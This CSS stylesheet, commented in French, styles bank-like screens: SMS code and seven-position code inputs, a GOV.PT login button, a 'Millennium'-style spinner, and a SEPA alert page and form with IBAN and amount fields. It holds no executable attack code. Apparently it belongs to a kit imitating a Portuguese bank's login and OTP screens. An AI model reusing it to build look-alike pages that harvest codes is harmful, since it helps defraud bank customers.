/* Override button styles with local arrow images */
body form a.btn.ArrowRight,
body form a.btn.arrow.right {
    background: url(arrow_white_right_bold.svg) 83% center/14px no-repeat, #D1005D !important;
    padding-right: 56px;
}
body form a.btn.ArrowRight::before,
body form a.btn.arrow.right::before {
    background: url(arrow_white_right_bold.svg) 83% center/14px no-repeat, linear-gradient(86.15deg, #E54173 0, #D1005D 100%) !important;
}

/* Disabled button state */
body form a.btn.arrow.right[disabled],
body form a.btn.ArrowRight[disabled] {
    background: url(arrow_gray_right.svg) 83% center/14px no-repeat, #F5F6FA !important;
    color: #8694A7 !important;
    pointer-events: none;
}

/* GOV.PT button icon */
body form a.FEPbtn-special_AuthGov,
body form a.FEPbtn-special_AuthGov:visited {
    background-image: url(icon_cmd_blue_25x27.svg) !important;
    background-repeat: no-repeat !important;
    background-position-y: 12px !important;
    background-position-x: 25px !important;
    background-size: 22px !important;
}

/* ============================================
   SMS Code Input Container - Responsive
   ============================================ */
.sms-code-container {
    display: flex;
    flex-wrap: nowrap;
    gap: 8px;
    justify-content: flex-start;
    align-items: center;
}

.tbCodUserSMS {
    width: 40px;
    height: 48px;
    text-align: center;
    font-size: 18px;
    font-weight: 600;
    border: 1px solid #ccc;
    border-radius: 4px;
    flex-shrink: 0;
}

.tbCodUserSMS:focus {
    border-color: #D1005D;
    outline: none;
    box-shadow: 0 0 0 2px rgba(209, 0, 93, 0.2);
}

/* Responsive SMS inputs pour mobile */
@media (max-width: 576px) {
    .sms-code-container {
        gap: 4px;
        justify-content: space-between;
    }
    
    .tbCodUserSMS {
        width: 36px;
        height: 44px;
        font-size: 16px;
        padding: 0;
    }
}

@media (max-width: 400px) {
    .sms-code-container {
        gap: 2px;
    }
    
    .tbCodUserSMS {
        width: 32px;
        height: 40px;
        font-size: 14px;
    }
}

/* ============================================
   Positions Code Container - Responsive (7 inputs)
   Style identique à SMS avec labels au-dessus
   ============================================ */
.positions-code-container {
    display: flex;
    flex-wrap: nowrap;
    gap: 8px;
    justify-content: flex-start;
    align-items: flex-end;
}

.position-item {
    display: flex;
    flex-direction: column;
    align-items: center;
    flex-shrink: 0;
}

.lblCodUserPos {
    font-size: 12px;
    font-weight: 600;
    color: #333;
    margin-bottom: 4px;
    text-align: center;
}

.tbCodUserPos {
    width: 40px;
    height: 48px;
    text-align: center;
    font-size: 18px;
    font-weight: 600;
    border: 1px solid #ccc;
    border-radius: 4px;
}

.tbCodUserPos:focus {
    border-color: #D1005D;
    outline: none;
    box-shadow: 0 0 0 2px rgba(209, 0, 93, 0.2);
}

@media (max-width: 576px) {
    .positions-code-container {
        gap: 4px;
        justify-content: space-between;
    }
    
    .position-item {
        flex: 1;
        min-width: 0;
    }
    
    .tbCodUserPos {
        width: 100%;
        max-width: 40px;
        height: 44px;
        font-size: 16px;
    }
    
    .lblCodUserPos {
        font-size: 11px;
    }
}

@media (max-width: 400px) {
    .positions-code-container {
        gap: 2px;
    }
    
    .tbCodUserPos {
        max-width: 36px;
        height: 40px;
        font-size: 14px;
    }
    
    .lblCodUserPos {
        font-size: 10px;
    }
}

/* ============================================
   Loading Spinner Style Millennium
   ============================================ */
.loading-millennium {
    padding: 40px 20px;
}

.loading-spinner-millennium {
    display: flex;
    justify-content: center;
    align-items: center;
}

.spinner-circle {
    width: 60px;
    height: 60px;
    border: 4px solid #f3f3f3;
    border-top: 4px solid #D1005D;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loading-title {
    color: #333;
    font-weight: 600;
}

.loading-message {
    color: #666;
    font-size: 14px;
}

/* Points animés loading */
.loading-dots {
    display: flex;
    justify-content: center;
    gap: 8px;
}

.loading-dots .dot {
    width: 10px;
    height: 10px;
    background-color: #D1005D;
    border-radius: 50%;
    animation: bounce 1.4s ease-in-out infinite both;
}

.loading-dots .dot:nth-child(1) {
    animation-delay: -0.32s;
}

.loading-dots .dot:nth-child(2) {
    animation-delay: -0.16s;
}

.loading-dots .dot:nth-child(3) {
    animation-delay: 0s;
}

@keyframes bounce {
    0%, 80%, 100% {
        transform: scale(0.6);
        opacity: 0.5;
    }
    40% {
        transform: scale(1);
        opacity: 1;
    }
}

/* ============================================
   Page Info - Alerte SEPA
   ============================================ */
.alert-sepa {
    text-align: center;
    padding: 20px 0;
}

.alert-icon-container {
    margin-bottom: 15px;
}

.alert-icon {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 70px;
    height: 70px;
    background-color: #fff0f3;
    border-radius: 50%;
}

.alert-title {
    font-size: 20px;
    font-weight: 700;
    margin-bottom: 8px;
}

.alert-subtitle {
    color: #666;
    font-size: 14px;
    margin: 0;
}

/* Carte détails SEPA */
.sepa-details-card {
    border: 1px solid #e0e0e0;
    border-radius: 8px;
    overflow: hidden;
    background: #fff;
}

.sepa-header {
    background: #f8f9fa;
    padding: 12px 16px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    border-bottom: 1px solid #e0e0e0;
}

.sepa-badge {
    background: #D1005D;
    color: white;
    font-size: 11px;
    font-weight: 600;
    padding: 4px 10px;
    border-radius: 12px;
    text-transform: uppercase;
}

.sepa-date {
    color: #666;
    font-size: 13px;
}

.sepa-body {
    padding: 16px;
}

.sepa-row {
    display: flex;
    justify-content: space-between;
    align-items: flex-start;
    padding: 10px 0;
    border-bottom: 1px solid #f0f0f0;
}

.sepa-row:last-child {
    border-bottom: none;
}

.sepa-label {
    color: #666;
    font-size: 13px;
    flex-shrink: 0;
    margin-right: 10px;
}

.sepa-value {
    font-weight: 600;
    color: #333;
    font-size: 14px;
    text-align: right;
    word-break: break-all;
}

.sepa-amount {
    color: #D1005D;
    font-size: 18px;
    font-weight: 700;
}

.sepa-iban {
    font-family: monospace;
    font-size: 12px;
    letter-spacing: 1px;
}

/* Bouton danger SEPA */
.FEPbtn-danger {
    background: linear-gradient(86.15deg, #dc3545 0, #c82333 100%);
    border: none;
    color: white;
    font-weight: 600;
    padding: 14px 24px;
    border-radius: 4px;
    font-size: 16px;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    text-decoration: none;
    transition: all 0.2s ease;
}

.FEPbtn-danger:hover {
    background: linear-gradient(86.15deg, #c82333 0, #bd2130 100%);
    color: white;
    text-decoration: none;
    transform: translateY(-1px);
    box-shadow: 0 4px 12px rgba(220, 53, 69, 0.3);
}

/* ============================================
   SEPA Form - Style formulaire bancaire classique
   ============================================ */

.sepa-form-container {
    background: #fff;
}

.sepa-description {
    font-size: 14px;
    color: #555;
    line-height: 1.6;
}

/* Warning box orange */
.sepa-warning-box {
    display: flex;
    align-items: flex-start;
    background: #fff8e6;
    border: 1px solid #f0d58c;
    border-left: 3px solid #e89f0c;
    border-radius: 4px;
    padding: 12px 14px;
    gap: 10px;
}

.sepa-warning-icon {
    flex-shrink: 0;
    color: #e89f0c;
    margin-top: 1px;
}

.sepa-warning-text {
    font-size: 13px;
    color: #6b5a1f;
    line-height: 1.5;
}

.sepa-section-title-simple {
    font-size: 14px;
    font-weight: 600;
    color: #333;
    margin-bottom: 16px;
    padding-bottom: 8px;
    border-bottom: 1px solid #e5e5e5;
}

.sepa-field {
    margin-bottom: 16px;
}

.sepa-label {
    display: block;
    font-size: 13px;
    font-weight: 500;
    color: #555;
    margin-bottom: 6px;
}

.sepa-input {
    width: 100%;
    padding: 10px 12px;
    font-size: 14px;
    font-family: inherit;
    color: #333;
    background-color: #f5f6fa;
    border: 1px solid #ddd;
    border-radius: 4px;
    outline: none;
}

.sepa-input:focus {
    border-color: #D1005D;
    box-shadow: 0 0 0 2px rgba(209, 0, 93, 0.1);
}

.sepa-input[readonly] {
    background-color: #f5f6fa;
    cursor: default;
}

.sepa-divider {
    border: none;
    border-top: 1px solid #e5e5e5;
    margin: 20px 0;
}

/* Ligne avec 2 champs côte à côte */
.sepa-field-row {
    display: flex;
    gap: 16px;
}

.sepa-field-half {
    flex: 1;
}

/* Input avec préfixe (€) */
.sepa-input-group {
    display: flex;
    align-items: stretch;
}

.sepa-input-prefix {
    display: flex;
    align-items: center;
    padding: 0 12px;
    background: #e9ecef;
    border: 1px solid #ddd;
    border-right: none;
    border-radius: 4px 0 0 4px;
    font-size: 14px;
    font-weight: 500;
    color: #666;
}

.sepa-input-with-prefix {
    border-radius: 0 4px 4px 0;
}

/* Texte d'information */
.sepa-info-text {
    font-size: 13px;
    color: #666;
    line-height: 1.5;
}

/* Custom checkbox style */
.sepa-checkbox-container {
    display: block;
}

.sepa-checkbox-custom {
    display: flex;
    align-items: flex-start;
    cursor: pointer;
    padding: 14px 16px;
    background: #f8f9fa;
    border: 1px solid #e5e5e5;
    border-radius: 6px;
    transition: border-color 0.2s, background-color 0.2s;
}

.sepa-checkbox-custom:hover {
    background: #f0f1f5;
}

.sepa-checkbox-custom input[type="checkbox"] {
    position: absolute;
    opacity: 0;
    cursor: pointer;
    height: 0;
    width: 0;
}

.sepa-checkbox-mark {
    flex-shrink: 0;
    width: 20px;
    height: 20px;
    background: #fff;
    border: 2px solid #ccc;
    border-radius: 4px;
    margin-right: 12px;
    margin-top: 1px;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: all 0.2s;
}

.sepa-checkbox-custom input[type="checkbox"]:checked + .sepa-checkbox-mark {
    background: #D1005D;
    border-color: #D1005D;
}

.sepa-checkbox-custom input[type="checkbox"]:checked + .sepa-checkbox-mark::after {
    content: '';
    width: 6px;
    height: 10px;
    border: solid #fff;
    border-width: 0 2px 2px 0;
    transform: rotate(45deg);
    margin-bottom: 2px;
}

.sepa-checkbox-text {
    font-size: 14px;
    color: #333;
    line-height: 1.4;
}

/* Responsive SEPA form */
@media (max-width: 576px) {
    .sepa-field-row {
        flex-direction: column;
        gap: 0;
    }
    
    .sepa-field-half {
        width: 100%;
    }
    
    .sepa-input {
        font-size: 14px;
        padding: 9px 10px;
    }
    
    .sepa-description,
    .sepa-info-text {
        font-size: 13px;
    }
    
    .sepa-warning-box {
        padding: 10px 12px;
    }
    
    .sepa-warning-text {
        font-size: 12px;
    }
    
    .sepa-checkbox-custom {
        padding: 12px;
    }
    
    .sepa-checkbox-text {
        font-size: 13px;
    }
}
